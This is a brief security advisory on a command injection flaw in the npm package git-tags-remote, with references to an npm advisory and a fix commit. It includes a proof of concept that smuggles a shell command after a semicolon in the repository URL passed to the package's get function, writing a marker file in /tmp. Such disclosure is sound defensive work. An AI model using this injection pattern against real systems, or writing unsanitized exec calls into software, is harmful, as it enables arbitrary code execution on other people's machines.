All versions of git-tags-remote are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an exec call on the get function . This may allow attackers to execute arbitrary code in the system if the repo value passed to the function is user-controlled.

The following proof-of-concept creates a file in /tmp:

const gitTagsRemote = require('git-tags-remote');

gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test')
.then(tags => console.log(tags));

References

• https://www.npmjs.com/advisories/1517
• sh0ji/git-tags-remote#58
• sh0ji/git-tags-remote@a204889